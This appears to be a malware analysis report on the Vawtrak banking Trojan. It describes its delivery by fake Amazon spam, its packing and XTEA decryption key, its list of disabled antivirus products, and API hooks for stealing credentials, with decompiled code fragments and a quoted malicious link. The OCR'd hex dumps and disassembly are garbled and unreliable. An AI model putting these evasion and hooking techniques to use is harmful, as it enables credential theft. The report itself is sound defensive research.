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1 Introduction

Vawtrak, Neverquest, or Snifula are different names of the same banking Trojan that has been
spreading in recent months. It infects victims via malware downloaders (e.g. Zemot, Chaintor),
exploit kits, or through drive-by downloads (e.g. spam email attachments or links).

Our analysis has shown that once it has infected a system, Vawtrak gains access to bank
accounts visited by the victim. Furthermore, Vawtrak uses the infamous Pony1 module for

stealing a wide range of login credentials, such as passwords stored in browsers, FTP clients,
private keys, or stored within remote-desktop settings.

As we will discuss in this technical report, Vawtrak is a sophisticated piece of malware in terms of
supported features (creating VNC and SOCKS servers, screenshot and video capturing, usage of
steganography, etc.) and its extensibility with regular updates of available command and control
(C&CQC) servers, Vawtrak executable, and web-inject frameworks.

Vawtrak infections, based on our statistics, are most prevalent on devices in the Czech Republic,
USA, UK, and Germany this year.

Vawtrak infections
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Figure 1 - Countries most affected by the spreading of Vawtrak in Q1 2015.

! https://blog.avast.com/2014/08/19/reveton-ransomware-has-dangerously-evolved/
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Vawtrak binaries are continuing to evolve. We are witnessing minor changes in its features,
target regions or banks. These changes create spikes in detections every 2-5 days.
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Figure 2 - Vawtrak spreading in 2015.

In the following text, we describe Vawtrak from two perspectives — (1) Vawtrak's infection vector
and (2) description of its features and internals.

In the first part, we will only cover details that were not mentioned in a recent VB article? on this
topic. Instead, this report will mainly focus on the analysis of the features and internals.

2 https://www.virusbtn.com/virusbulletin/archive/2015/01/vb201501-Vawtrak
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2 Analysis

For analysis, we used a real example of a Vawtrak infection that arrived
via a spam email pretending to be an Amazon invoice. As we can see in
the following screenshot, the “order details” link points to a zip
archive invoice.pdf.zip stored on a compromised Wordpress site,
which is a common technique in these days®.

From: Amazon [mailto:auto-confirm@amazon.us]
Subject: Order confirmation Amazon

ama;gﬂe Your Recommendations | Your Ac|http://steelwater.net/wp-content/themes/
parament/l.php
Order |Click to follow link

Order #002;8946728-9863674

Hello NG

Thank you for shopping with us. We'll send a confirmation once your items have shipped. Your order details are
indicated below_ If you would like to view the status of your order or make any changes fo it, please visit Your
Orders on Amazon.com.

Order Details

Order #002-8948728-9883674
Placed on Monday, November 1, 2014

Your estimated delivery date is: Your order will be sent to:
Thursday, December 4, 2014 -
Wednesday, December 10, 2014

Your shipping speed:
Standard

Order Details g

E Samsung UN40H5003 40Inch 1080p 60Hz $377.99
Misc.
Sold by Adchoice
Condition: New

6ve
Item Subtotal: $377.99
Shipping & Handling: $0.00
Total Before Tax: $377.99

3 http://research.zscaler.com/2014/12/compromised-wordpress-sites-serving.html
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Figure 3 - Spam email used for Vawtrak delivery.
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Figure 4 — Content of the downloaded archive.

The archive contained one file invoice.pdf.scr. Immediately we noticed an inconsistency as the
file tries to look like a PDF file and a screen saver at the same time. In fact, it is a regular
executable file, which contains the main module of Vawtrak stored deeper inside it. The task of
the initial executable is to install the packed module into the victim's system and make it
persistent. Analyzing this malware is time consuming as it has been packed, encrypted, and
compressed several times in order to make the analysis even harder.

From the victim's point of view, execution of the original file does not perform any visible actions
under normal circumstances. However, it silently installs a dropped DLL file into the
$ProgramData$% folder with a random name and extension. At this moment, the original
executable file is deleted because it is no longer needed. Furthermore, the DLL file is

automatically executed during Windows start-up by using the regsvr32 utility.

IC " StartupMonitor Warning m
i The program

CehkaXyuce

has registered the executable

regsvrad.exe "ChProgramData CehkaXyuce\ WabgEhuxk. bpw"
to run at system startup.

Do you wish to allow this change?

Figure 5 - Start-up registration of the dropped DLL file.
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The second dropped DLL file is much smaller than the first one and its task is to infect running
processes with the unpacked Vawtrak module. While studying the dropped DLL?, we notice a file
reference to c:\This\Subversion\When.pdb, which is a program database (PDB) file holding

debugging information.

BOB3BSEG: B0 PO OO0 GO 60 60 6P PO| OO BO
0@83B5FO: 68 B0 OO0 B0 60 98 00 PO 6O B0
0883B68B: 78 D7 9B 5A C3 B4 A7 hA|95 42
0@e3B618: BA S5E 82 1F A4 3E 45 55|1B DF
0@e3B6208: 58 C1 EC 74 B4 B? 58 52|AF BF
0BBe3B630B: EL4 68 D3 64 A6 3D 75 63|64 EL4
0ep3B64B: 92 AE 00 57 E3 26 C5 G6F |00 B0
0003B658: 4D B 9F FB 1D @7 88 B7|C3 C7
PAB3B6GA: BF PO OO B0 63 3A 5C 54|68 69
pap3IBL7E: 65 72 73 69 6F G6E 5C 57|68 65
0@B83B680: B0 B0 OO0 GO B0 98 B0 PO 6O B0
0@83B690: B0 B0 OO0 GO B0 98 B0 PO 6O B0
0@Be3B6AG: 00 AD OO GO B0 0O OO PO| 6O BO
0@e3BGBO: 00 A0 OO 860 3C B7 03 PO|6O 6O
0@B83B6CH: AA B7 B3 B0 24 90 03 PO|AC B7
0003B6DA: 00 DO OO0 B0 D4 B7 03 PO|34 90
0OB3BGEG: 00 DO OO GO 60 90 0P PO|GE BS
BAB3B6FA: 58 BY O3 00 00 60 0P PO| OO 6O
AAARR7AA: 4A 94 A3 AR AA AR AR AAIAA AA

74 63 |
68 8e

4 39 | px>ZR-GJ-BI<I.D9
38 B6 | S7,.EU.D’ 6|8
E8 DA | PABt aPRZ291:5&U

‘B Wa&Lu....RSDS
M.Z{...-AGrar.ac

|
|
|
| PRé
S8 EC | & I]d'—uc dU-nqxé
|
|
|
| ersmn\uhen.dh
|

m

Figure 6 — Reference to symbolic information.

First, the dropped DLL decrypts its payload.

In contrast with the sample described in the
aforementioned VB article, the payload in this sample is stored within the .text section instead
of the .data section. The encoded bytes are scattered among this section in small chunks and
they are copied in a newly allocated space at first. Afterwards, the DLL uses a hard-coded 128-bit
key "YqeiDL7Twew37uru" for decryption by using the XTEA® algorithm.

@ Dump - WabgEhuxk_bpw: text
Address |[Hew dump

ASCII (AMSI - Ce

EEC42OCH| BE BE G0 BB BE BE B B0 B0 G0 GO OB BA BE B0 G0
cEG4%30A| 65 70 @6 EE/FE AA D& B4 AB 27 17 94/ D4 AF EA 2C
CEC490ER| 20 @R AB BB 28 BA BA B0 B9 F1 65 €9 44 4C 37 54
cEC439FA| 77 65 77 33 37 75 72 ¥5 A5 4E 4B YE 16 7@ 78 AF
cEC420EE| BE 62 F& 19/ BA DA £2 49 4C 3C 29 BB 72 FB 4F B2
cEC4%A1A| 7R AS B0 B9 B8 DA BA B3 BF A0 B8 B8 1A 81 6a &g
SEC490ZE| 1C B0 F2 BB 26 BS 44 BE 1E 1D DS A2 C1 E2 81 GE
E6EG43A3E| BB
SEC49A46)| 8A
EEG43A5A| 84
EEC49REE| BB
E6EG43R7A| DB
SEC4IA2E| 40
EEG43R9@| 99
SEC490AE| 26 AB E1 11/ BF B1 E7 2E 14 E& D1 &5 EE EC 9B 1IF
cEc42REA| 11 D4 63 BC)YE 31 30 71 DS @6 C4 FA B2 56 6@ @5
SEC42ACE| 6C AC ED 77 IF A1l BE &0 E1 E1 A8 A4 18 94 F@ OC
cEc42R0A| 37 2F 38 2E| 9B 96 3B ES E9 BB &7 BD 82 4C DC 8@
SEC4D0ER| BE GO G0 GO GE BE B B0 G0 G0 GO BB BE BA B0 G0
cEC42AFE| B8 B8 BB BB BB DA BA BQ B0 A0 OB BB DA BA B 80
SECA4DBHE| BE GO G0 GO BE DA BA B0 G0 G0 GO BB BA BA B0 G0
cEC42E16| B0 B0 BB OB BB DA BA @ B0 A0 OB BB DA BA B 80
SEC4OBZE| BO GO G0 OB GE DA BE B0 G0 G0 GO BB BE BA B G0

U}QS"nﬂa FiE't,
2 qulDL?T
ueuS?urueNK( pi'
eHEH

|_J‘ 28 H M&' a_,J-I"Ei.H

LER BT VAR
45 1= e— AU &
Lalu¥ AmE AR 4"y
TR c0; B9 Elm

cEC42BSH| 8@ @8 Ez B2 B8 DA FB B2 @0 @8 &7 F8 FF DC C8 F39
SEC49B46|E1 C2 EF 94/ D9 DE C2 2@ 70 DE C9 FE DE D4 EQ EE
cEc42B5A| 80 84 C1 23/ 30 SC 1A 0D 53 31 FC BB BF 22 9E 90
cEc42BcE| 74 82 38 A7 GB IE OF AF 45 C2 AS 52 232 E9 7E AR
cEC42EYE| 9F V78 ED 25/ 78 97 BB 8B 80 SF &0 C9 11 89 E0 462
SEc42B28| 21 17 EY E& BE GF 76 DD 4& CEB CE 36 Al BF 45 41
EEE42E9E]6A D7 12 B4/71 40 B@ 16/ 828 9C SF B0/ 48 B2 1C D4

cEc4%00A| 04 CE5 7z 94|06 15 EB 83 DOF 2C 3E BE|6E BS E7 RO
cEC490ER| 42 9B BR 2226 2E 11 EG@ 8E A9 7FC 25 C4 £EB 9E RS
cEc4%0FA| AL DC 4D 59 BS AF SE 32 48 FE CE YE 21 67 79 GF
cEC42EHE| BF @8 7@ DC BB 47 F& C4 FE FF 2F 19 &9 C4 E9 AC
cEG4%E1A| 76 BY 7D A4 6B DF &4 E1 DS 19 25 4B 0@ 8@ 60 60

@.. g J'I’""E
ok

fopo[amt E"X o
"H1ERUSIE _mTdE]w
gl s Bt e ER
dFlea ot JETLE

"rowSSt’.hﬂnﬁ1a
Hc BEEAL"E

Ol 4
wt }nk-dB +iK

CEC4QEZE| BE AR GE OB BB BE BA B0 B0 G0 OB BB BA D7 84 60
cEC43ESA| BB 34 AS BB BE 25 43 6A 72 S5C DS 10 D3 D7 FC FS
cEC42E4E| 62 BD 14 12/ CD BF B2 24 9E A2 7B E9 24 E2 1A F7
cEG42ESA| 37 A4 58 72/ 6A S0 8@ 2C 31 D1 2B CA FE BS 28 10
cEC42EEE|F2 FC €9 1F D9 DA B2 E1 C2 &0 BE &2 CA BB D4 92
EEG43ETA
EEE49ERA
EEG43ESA
EEE49ERA
cEG43EEA| B0 2E 2B CB| 9B F@ 8@ 51 BE 83 1B C1/37 9% CE 23

ACirsT #Y ﬂ-“'

44
blMt=#" SR {5+
TRACIIG, i+ (#
RN LR ]

. + c' WA T8

decryption key

encrypted chunk #1

q

encrypted chunk

Figure 7 — XTEA 128-bit decryption key and encrypted code chunks.

4 Later versions of this DLL do not contain this reference.

> https://en.wikipedia.org/wiki/XTEA
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However, the malware author used 31 cycles (i.e. 62 Feistel rounds) instead of the standard 32
cycles, probably to confuse researchers.

#define ROUNDS 31

void XTEA decrypt (unsigned int vI[2], unsigned int keyl[4]) {
unsigned int i, v0 = v[0], vl = vI[1];
unsigned int delta = 0x9E3779B9, sum = delta * ROUNDS;
for (i = 0; 1 < ROUNDS; i++) {

vl - (((vO << 4) 7~ (vO >> 5)) + v0) ©~ (sum + key|[ (sum >> 11) & 3]);
sum -= delta;
vO -= (((vl << 4) »~ (vl >> 5)) + vl) © (sum + key[sum & 3]);

}
v[0] = v0; vI[1l] = v1;

Figure 8 — XTEA algorithm used for decryption of DLL.

The decrypted version is 201,296 bytes long and at first sight, it seems like another WinPE
executable file.

00000066: 688 B8 60 4D 5A 90 00 03|00 00 00 82 B4 00 30 FF |

00ee6068168: FF 00 60 B8 60 38 2D 01|00 49 64 38 19 00 FO 68 |

000e6868268: AC BE 1F 688 BA OE 00 B4|02 CD 21 BB 88 81 4C CD | ....5.

900008036: 21 54 68 69 73 00 28 70|72 6F 67 72 61 6D 08 20 | *This. progranm.
geeBEeyA: 63 61 6E 6E 6F 74 28 BA|62 &5 28 F2 75 6E 28 69 | cannot .be run i
000006506: 60 6E 20 44 4F 53 20 6D|6F 80 64 65 2E OD 6D 64 | .n DOS molde....
|
|
|
|
|
|

00ee008668: 24 604 86 O88 BF E2 E@ C5|FB 83 BE 96 41 85 83 F2 $.1.24FLG.¢-n. .0
a0eee868768: FB 1B 96 FA B4 OB F8 11|00 83 26 7C 48 82 6F 26 G.-0..F...&|Q@..&
ogeeee88: 7C 45 44 96 EA B2 17 8F|%6 5F 88 87 F6 58 D1 6A |ED-e..%- . .6PHj
ageeea98: 96 EC 82 87 52 02 1F F6|14 D1 55 B4 87 58 82 @7 -6..R..6.Fu..Pp..
000000AB: 52 69 63 B6 68 61 43 OD|B3 50 45 00 88 4C 88 M Ric.h.C.T¥PE..LNR.
000e0eBA: 85 608 AC D5 75 54 05 13|00 E9 00 B2 21 BB 681 6C i]

Figure 9 - Decrypted DLL, which is still compressed.

However, it is not a valid executable file yet because it is still compressed (the LZNT1°® format has
been used). Therefore, the dropped DLL decompresses these bytes by using the
RtlDecompressBuffer’ API function. The resulting buffer contains a memory representation of
another DLL file that is 210,944 bytes long.

In the next step, this new DLL is loaded via the LoadLibrary function that unmaps and replaces
the original DLL with a modified one (i.e. the IAT® is fixed, the original sections are replaced by
the new ones and the execution is passed to the entry point of the new DLL).

Name Virtual Address  Raw Offset Virtual Size Raw Size Flags Flags Description
® text 0x00001000 0x00000400  0x0000491F 0x00004A00  Ox60000020  Code, Executable, Read
.rdata 0x00006000 0x00004E00  Ox0000159A 0x00001600  0x40000040  Initialized Data, Read
.data 0x00008000 0x00006400  0x00000100 0x00000200  0xC0O000040  Initialized Data, Read, Write
LISrC 0x00009000 0x00006600  0x0002D000 0x0002CEQ0  0x40000040  Initialized Data, Read
.reloc 0x00036000 0x00033400  0x000002C4 0x00000400  0x42000040  Initialized Data, Discardable, Read

Figure 10 — Sections overview of the new DLL.

® https://msdn.microsoft.com/en-us/library/ij665697.aspx
7 https://msdn.microsoft.com/en-us/library/windows/hardware/ff552191%28v=vs.85%29.aspx

8 https://en.wikipedia.org/wiki/Import Address Table
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In order to make analysis even tougher, this new DLL extracts the final module from a resource
called rRcData\101, which is 183,366 bytes long. As we can see from the following image, this
byte sequence starts with the "apP32" signature, which implies a usage of the aPLib° compression
library. Note: this library is also used for encoding communication with a C&C server as we
describe in the next section.

EI--a RCData
E--a 101

Line: 1

0000e&e58
000066EE
0000eg78
00006688
000068598

41
10
EB8
83
F8

50
gc
02
43
4E

183,366

33
as
ic
14
B

32
0o
oe
53
49

18
51
44
56

od

0o
95
06
B3
c9

0o
3D
44
15
16

ao
F2
70
08
57

2E
10
03
37
40

cc
38
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06
33

02
gC
01
85
D2

ao
05
DC
Fo
39

FS
38
0E
0F
56

31
60
55
g4
4D

CE
63
8B
62
81

el
0z
EC
D1
ac

LP32sses Eeeslia
'é"Q‘=ﬁ'83'8‘C'
&s | sDeDpeRsUsU &

CeSV, u*We..5*,bN
FN{IdE*WR3NOVM L

Figure 11 - Resource file containing another DLL packed by aPLib.

Therefore, we used the aPLib packer for decompression of the resource's content, which is

same principle as the aPLib decompression routine uses within the malware DLL.

s in 0.00

Figure 12 - Decompression by aPLib.

1| »

the

Surprisingly, the decompressed result (363,536 bytes long) contains two new DLLs - a DLL
module for 32-bit Windows and the other one for 64-bit Windows. Afterwards, both of these
DLLs are injected into the running processes and the appropriate one executes Vawtrak's main

functionality.
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Figure 13 — Decompressed resource file containing two Vawtrak DLLs - 32-bit + 64-bit.

° http://ibsensoftware.com/products aPLib.html
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3 Functionality

For our analysis, we used the 32-bit DLL version of Vawtrak, which has been compiled by the
Microsoft Visual-C++ compiler. Based on the available information, its internal name is
test_x32.d11 and it is a build no. 8. Decompilation of this sample has been done by using our
RetDec decompiler'®,

Once executed, Vawtrak performs the following actions:

e Disables antivirus protection.

Communicates with remote C&C servers - executes commands from a remote server,

sends stolen information, downloads new versions of itself and web-injection frameworks.

Hooks standard API functions, injects itself into new processes.

Steals passwords, digital certificates, browser history, and cookies.

Logs keystrokes.

Takes screenshots of desktop or particular windows with highlighted mouse clicks.

Captures user actions on desktop in an AVI video.

Opens a VNC! (Virtual Network Computing) channel for a remote control of the infected

machine.

Creates a SOCKS! proxy server for communication through the victim's computer.

e Changes or deletes browser settings (e.g. disable Firefox SPDY!®) and history. Vawtrak
supports three major browsers to operate in - Internet Explorer, Firefox, and Chrome. It
also supports password stealing from the other browsers.

e Modifies browser communication with a web server.

e Stores internal settings into encrypted registry keys.

We will describe these features in detail in the following subsections.
3.1 LCG-based Encryption Scheme

Vawtrak often uses encryption to protect its internals (e.g. encrypted strings) and communication
with C&C servers. The used encryption scheme tries to act as the (theoretically unbreakable)
Vernam cipher'#, i.e. encryption (and decryption) of plaintext is done by a random key of the
same length. The encryption operation is implemented by using a simple exclusive-or (XOR) of
each byte of plaintext and key. However, it is quite hard to generate and distribute such a key.
Therefore, Vawtrak uses a simplification of this process by using a Linear Congruential
Generator®” (LCG).

unsigned int random (unsigned int *seed) ({
*seed = 0x343FD * *seed + 0x269EC3;
return (*seed >> 16) & Ox7FFF;
}
Figure 14 - LCG-based generation of pseudorandom numbers.

10 https://retdec.com/

11 https://en.wikipedia.org/wiki/Virtual Network Computing
12 https://en.wikipedia.org/wiki/SOCKS

13 https://en.wikipedia.org/wiki/SPDY

14 https://en.wikipedia.org/wiki/Vernam cipher

15 https://en.wikipedia.org/wiki/Linear congruential generator

10
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This algorithm generates a sequence of pseudorandom numbers based on the seed value. In
other words, it can produce a sequence of numbers of any size, but they are not truly random
because one can re-generate the same sequence using the same seed value. Vawtrak uses this
trick to its advantage because it only needs to distribute the seed value together with the
encrypted messages. Therefore, the receiver can simply decrypt such message without a need to
have a complete decryption key.

Furthermore, Vawtrak is designed to produce different encrypted outputs on each infected
machine (e.g. different registry value names, unique bot ID). This is achieved by using a
machine-specific initial seed value for all the encryption processes, e.g. hard-drive number or
MAC address.

3.2 Elimination of Antivirus Software

The final Vawtrak module also contains proactive protection against antivirus detection. This
defense mechanism tries to detect any installed AV and disable it by using the Windows

mechanism called Software Restriction Policies'®. The list of "supported" software taken from the

DLL is thorough:

AVG

avg8

AVAST Software

Avira GmbH

Avira

Kaspersky Lab

Kaspersky Lab Setup Files
DrWeb

Norton AntiVirus

ESET

Agnitum

Panda Security

McAfee

McAfee.com

Trend Micro

BitDefender

ArcaBit

Online Solutions

AnVir Task Manager

Alwil Software

Symantec

Xore

Common Files\Symantec Shared
a-squared Anti-Malware
a-squared HilackFree
Doctor Web

Common Files\Doctor Web
f-secure

F-Secure

F-Secure Internet Security
G DATA

Common Files\G DATA

P Tools

Common Files\P Tools

P Tools Internet Security

K7 omputing

Trend Micro

Vba32

Sunbelt Software

FRISK Software

Online Solutions

Security Task Manager
Zillya Antivirus

Spyware Terminator
Lavasoft

BlockPost

DefenseWall HIPS
DefenseWall
Microsoft\Microsoft Antimalware
Microsoft Security Essentials
Sandboxie

Positive Technologies
UAenter

Malwarebytes
Malwarebytes' Anti-Malware

Microsoft Security Client

Vawtrak also bypasses the IBM Trusteer Rapport17 security protection whenever it is detected
inside of Internet Explorer by hooking the virtualProtect API function used by Rapport.

16 https://technet.microsoft.com/en-us/library/bb457006.aspx
17 https://en.wikipedia.org/wiki/Trusteer
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3.3 Injections and API Hooking

Once the Vawtrak DLL (either 32-bit or 64-bit) is injected and mapped into a running process, a
new remote thread with its code is started. Vawtrak avoids running in system processes.
However, the check to determine whether the process is system is only run after it is injected. If
so, the thread is terminated.

hModule = GetModuleHandleA (NULL) ;

GetModuleFileNameA (hModule, cModuleName, 260);

if (StrStrIA (cModuleName, "csrss.exe") || /* smss.exe, wininit.exe, services.exe,
svchost.exe, lsas.exe, lsm.exe, winlogon.exe, Dbgview.exe, taskhost.exe */) {
return;

} else {
mainFunc () ;
clean () ;

Figure 15 - Detection of system processes.

In the remaining processes, Vawtrak first places several API hooks 8, Roughly speaking, a hook is
malicious code that is executed before or instead of a legitimate function. For example, the
following code is executed in all non-system processes by Vawtrak.

int mainFunc (void) {

/..

hook ("KERNEL32.DLL", "CreateProcessW", hookCreateProcessW,
&createProcessWBackup) ;

hook ("KERNEL32.DLL", "CreateProcessA", hookCreateProcessA,
&createProcessABackup) ;

/] ...

Figure 16 - Hooking process made by Vawtrak.

The hook function places a detouring hook in a defined standard API function
(e.g. CreateProcess), which will redirect its execution to a hooking function as soon as the
injected process tries to call this API function (e.g. hookCreateProcessA). In this example,
Vawtrak uses the hookCreateProcessA function to spread its malicious code to every child

process. The hooking function can then also resume the execution of the original API function
(e.g. createProcessABackup). Whenever there is no backup function, the original function is not
called after the hooked code is executed. This is used to silence user notifications.

Vawtrak uses hooks for three main purposes:

1. To spread itself to new processes (e.g. CreateProcess).
2. To steal login credentials, digital certificates, etc. (e.g. InternetSendRequestA, PR _Write,
PFXImportCertStore, GetKeyState). The original function call is intercepted, the request

(e.g. login and password) is copied, and the original function is resumed without a user
notice.

18 https://en.wikipedia.org/wiki/Hooking
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3. To hide itself by disabling functions that may attract user attention when Vawtrak is
operating on background (e.g. disabling PlaySoundaA, FlashWindow). Calls to these

functions are redirected to empty functions without a return to the original API function,
which simply suppresses them.

Vawtrak has a different set of hooks for Internet Explorer, Firefox, Chrome, and Windows
Explorer because each browser uses different libraries for communication with web servers.

int hookBrowsers (void) {
switch (gBrowserType) {

case IEXPLORE:
hook ("WININET.DLL", "InternetConnectA", hookInConA, &inConABck) ;
// HttpSendRequestA, HttpSendRequestExA, InternetReadFile,
// HttpOpenRequestA, InternetWriteFile,
break;

case FIREFOX:
hook ("NSPR4.DLL", "PR Read", hookPR Read, &gpPR ReadBck);
hook ("NSPR4.DLL", "PR Write", hookPR Write, &gpPR WriteBck);
hook ("NSPR4.DLL", "PR Close", hookPR Close, &gpPR CloseBck);
break;

case CHROME :
hook ("KERNEL32.DLL", "LoadLibraryA", hookLoadLibA, &gpLoadLibABck) ;
hook ("KERNEL32.DLL", "LoadLibraryW", hookLoadLibraryW, &gpLoadLibWBck) ;
//
break;

Figure 17 — Hooking of browsers.

The aforementioned hook function is quite interesting because it contains a simplified x86*°
disassembler, which is used for decoding instructions of the hooked API functions. First, the
original instructions of these API functions are backed-up. Afterwards, they are replaced by a
jump instruction to the hooking function (the 0xE9 opcode followed by an address of the hooking
function).

We will illustrate this technique below. In the following screenshot, we see some Vawtrak hooks
made within inside the Firefox process.

Modules | Usermode Hooks |Disassembler I Class-Instance-Browser | Log I GIobaIOpﬁons|

HookedModified Object Hook Redirection/Info Type of Hook Criginal Instruction [ Bytes MNew Instruction [ Bytes
[2520) firefox. exetkernel32.dl->CreateProcessiv
[2520] firefox. exelkernel32.dll->CreateProcessA [0x75902082] => &Code5B0000 [0x005BBE7T4]  Inline - Detour [5 Bytes] mov edi , edi jmp O0SBBE 75h

[2520] firefox. exe!USER32.dll- =FindWindawA [0x75A78FF3] == Ox053AFFFE Inline - Detour [5 Bytes] mov edi , edi jmp 053B0000h

[2520] firefox. exe! USER 32.dll- =FindWindaww [0x75AFAEOD] =3 0x057AFFFE Inline - Detour [5 Bytes] mov edi , edi jmp O57B0000R

[2520] firefox. exelUSER 32.dll- =GetWindowInfo [0x75A84B5E] == xul.dll [0x63463383] Inline - Detour [5 Bytes] push 08h jmp 63463388h

[2520] firefox. exel USER 32, dll-=BlockInput [0x75AABA99] =2 Ox02AAFFFE Inline - Detour [5 Bytes] mov eax , 00001141k jmp 02AB0000R

[2520] firefox. exe!USER32.dll- =FindWindawEx W [0x75AAT712E] == 0x057CFFFB Inline - Detour [5 Bytes] mov edi , edi jmp 057000000

[2520] firefox.exe! ADVAPI32.dll- >CreateProcessAsls...  [0x75B4C532] == §rCode5SBO000 [0x005BBC33]  Inline - Detour [5 Bytes] mov edi , edi jmp O0SBBC38h

[2520] firefox.exe! ADVAPI32.dll- =CreateProcessAsUs...  [0x75B82642] == $Code5B0000 [0x005BBCFS]  Inline - Detour [5 Bytes] mov edi , edi jmp O0SBEBCFER

[2520] firefox. exe! CRYPT32.dll-=PFXImportCertStore [0x755F 18B8] => &rCode5B0000 [0x005BA555]  Inline - Detour [5 Bytes] mov edi , edi jmp O0SBAS5AR

[2520] firefox.exelnss3.dll-=PR_Read [0x69E22CAD] == SrCode5BO000 [0x005BAA... Inline - Detour [5 Bytes] mov eax , dword ptr [esp...  jmp O05SBAAODH

[2520] firefox.exe!nss3.dll-=PR_Write [0x69E22CB0] == SrCode5SB0000 [0x005BAE38]  Inline - Detour [5 Bytes] mov eax , dword ptr [esp...  jmp O05BAB3Dh

[2520] firefox. exe!nss3.dll-=PR_Close [0x69E2FEEN] => SrCode5BO000 [0x005BASFZ]  Inline - Detour [5 Bytes] mov eax , dword ptr [esp...  jmp DOSBASF7h

Figure 18 - Vawtrak hooks in a firefox.exe process.

Bhttp://www.intel.com/content/www/us/en/processors/architectures-software-developer-

manuals.html
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Now we can compare two kernel32.d1ll modules. The first one is not hooked; the second one

contains a hooked API function CreateProcessW.

TESEZEZE| BESE ZCEAICTS MoW ESI,OWORO PTHE DS5:[kernel32. PSCEEZC
TESEZEZC|~ES BEFFFFFF JMF kerne l32. FE98A1FSF

TESEZEZ1| ZSE4E 38 MOW ECx, OWORD FTR DO5: [ESI+35]
FESEZEZ4 | 2948 38 MO DWORD PTRE DS: [EAX+321,ECH
TESEZAZT| SB4E 3C MO ECH,OWORDO PTR DO5: [ESI+3C]
TESEZEZA[ 8948 3C MO OWORD FTR DS: [EAR+3C],ECH
TESEZEZ0( SE4E 48 MOW ECw, OWORD PTR DOS5: [ESI+4E]
TEoEZa48 45 48 MO OWORD FTR DOS: [EAR+4E], ECH
7ESEZE42 | ~E9 6FFFFFFF JMP kernel32. PE9A1FET

FESEZE42( 9@ HOFP

TESEZE43( 98 HOF

TE9EZE4A( 28 HOF

TE9EZE4E( 9@ HOF

FESEZE4C( 9@ HOF

TEIEz2840, 2EFF Mow EDI,EDI BOOL kernel32.CreateProcessili
TEoE2a4F g FUSH EEF

TESEZEEE| SBEC MOy EEF, ESP

TESEZEEZ| & BE FUSH &

TESEZEES | FFFS 2C FUSH DWORD PTR S55: [EBF+2C]

TESEZEET| FFFE 28 FUSH DWORD FTR 55: [EEBF+221

FESEZEEA| FFPE 24 FUSH DWORD PTR S5: [EEP+241]

YESEZEED| FFYE 28 FUSH DWORD PTR 55: [EEFP+281]

TESEZEEE| FFFE 1C FUSH DWORD FPTR S5: [EEF+1C]

TESEZEES| FFFE 18 FUSH DWORD PTR S55: [EBF+121]

TESEZEES| FFFS 14 FUSH DWORD PTR S5:[EEBF+141]

TESEZEEY| FFFE 18 FUSH DWORD PTR 55:[EEBP+1d]

FESHZEEC| FFPE BC FUSH DWORD PTR 55: [EEBP+HC]

TESEZAEF| FFFS @8 FUSH DWORD PTR 55: [EEBF+21]

TEOEZEFE [5]5) FUSH @

TE9EZEF4) EE DIEVE4DE CALL kernel32.CreateProcessInternalll
FESEZETI FOF EEF

TESHZETH| CZ2 2888 RETH 22

vE9E2avh( 9a HOF

TESEZETE[ 9@ HOF

TESEZETF| 98 HOF

TE9EZE88( 2@ HOF

FESEZEZL) 9@ HOF

TE9ERZEEZ| BBFF Mo EDI,EDI BOOL kernel32.CreateProcessHI
TESE2a54 g FUSH EEF

FESEzZEzE| SB3E MO ESI,ONORD PTR DS:[kernel32. FE9CEB2C
FE9EZEZC| ~ES BEFFFFFF JMP kernel32. FS9E1F3F

FEQEZEAZ1| SB4E 28 MOl ECH,.DOWORD PTR DS5:LCESI+321]
FESEZAZ4| 8948 35 MO DWORD PTR D5:[ERX+35],ECH
FYEO9EZAZSY| SB4E SC MOL ECx,.DOWORD PTR D5:LCESI+3C]
FEQEZEAZA| 8942 2C MOL OWORD PTR DS:[ERX+3C]1,ECH
FESEzEsE0| SE4E 448 MaL ECH,DWORD PTR DS5:L[ESI+4A]
FEIEZE4E 45 48 MO OWORD FPTR_DS: [ERX+481,ECH
FESEZE4Z| ~E9 &FFFFFFF JMP kernel32.FE981FET

FE9azZE43| 98 HOF

rTE9EZE43] 98 HOF

FEQEZE4A| 98 HOP

FES9AZE4E| 98 HOF

FEIEZE4C] 98 HOF

FEIE2840 —E9 &4'IACESA BOOL kernel32.CreateProcessi
FE9RZRE2 ju]5]

FESEZEEL| FFFPE ZC FUSH DWORD FTR 55:LCEEBF+ZC]

FEQEZEEY| FF?E 28 FUSH DWORD FPTE S5:LCEEBF+281]

FESEZEEA| FFPE 24 FUSH DWORD FTE S5:[CEEBF+241]

FESEZEED| FFFE ZA@ FUSH DWORD FTR 55:LCEEBF+ZE]

FESEZEER| FFFE 1C FUSH DWORD FTE S5:LCEEBF+1C]

FESEzEEs| FFPE 18 FUSH DWORD FTER S5:[CEEBF+183]

FESEZEEE| FFFPE 14 FUSH DWORD FTR S5:LCEEBF+143]

FESEZEES| FFFE 1@ FUSH DWORD FTE S5:LCEEBF+1@3]

FESEZEEC| FF?PE @C FUSH DWORD FTE S5:[CEEBF+HC]

FESEZEEF| FFFPS B3 FUSH DWORD FPTR 55:CEEBF+E1]

FEIEZATZ A @8 FUSH @

FESEZ2EY4| ES D9ETVE480 CALL kernel32.CreateProcessInternalll
FESEZETYS| ED FOF EEF

FEQEZETYH| CZ2 2208 RETH 22

FE9azayY0| 98 HOF

FESEZATE| 98 HOF

FESEZATYF| 9@ HOF

FESEZEEE| 98 HOP

FTE9EZEE1| 98 HOF

FESEZAEZ| -E9 F29ACEBSA JMP BREEEEVY EOOL kernel32.CreateProcessAl
FEQHZEEY| &H B8 FUSH 8

FTESEZEES| FFFE ZC FUSH DWORD PTR 55:CEEBF+ZC]

Figure 19 - Comparison of not-hooked and hooked Firefox processes.

This hook points to a hooking function on address 0x005BBAB6.
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| 5I51= =] =T TR~ EUSH EEP

HESEERES| SEBEC Moy EBP,ESP

BEEEERE?) E1 FUSH ECH

GEEEEREA| 52 FUSH EBX

HESEEREE| SEED 1C MOy EBX,OWORD PTR SS:[EBP+1C]
GEEEEREE| S& FUSH EES1

BEEEEREF) 57 FUSH EDI

GECEEACE) 2950 FC MOY DWORD PTR SE:[EEBP-41,EBEX
HEEEEACZ) 22Fe #OR ESILESI

HEEEEACE| EZ LF210000 CALL BBSBEBED

GESEEACH| 22C8 #OR_ERX, EQX

GEEEEACC) 22CE 84 OF EEBX, BEEEEG564

GEEEEACF) 48 INC ERX

GECEEADE) 2950 1C MO DWORD PTR SS:[EEBP+1CI,EEY
GEEEEADZ) 2925 E42FEEGR CMP DWORD PTR DS:[EE2FE41,ESI
HECEEADY) SEFE Moy EDILESI

HECEERDE| BF4EF2 CMOUME EDI,ERX

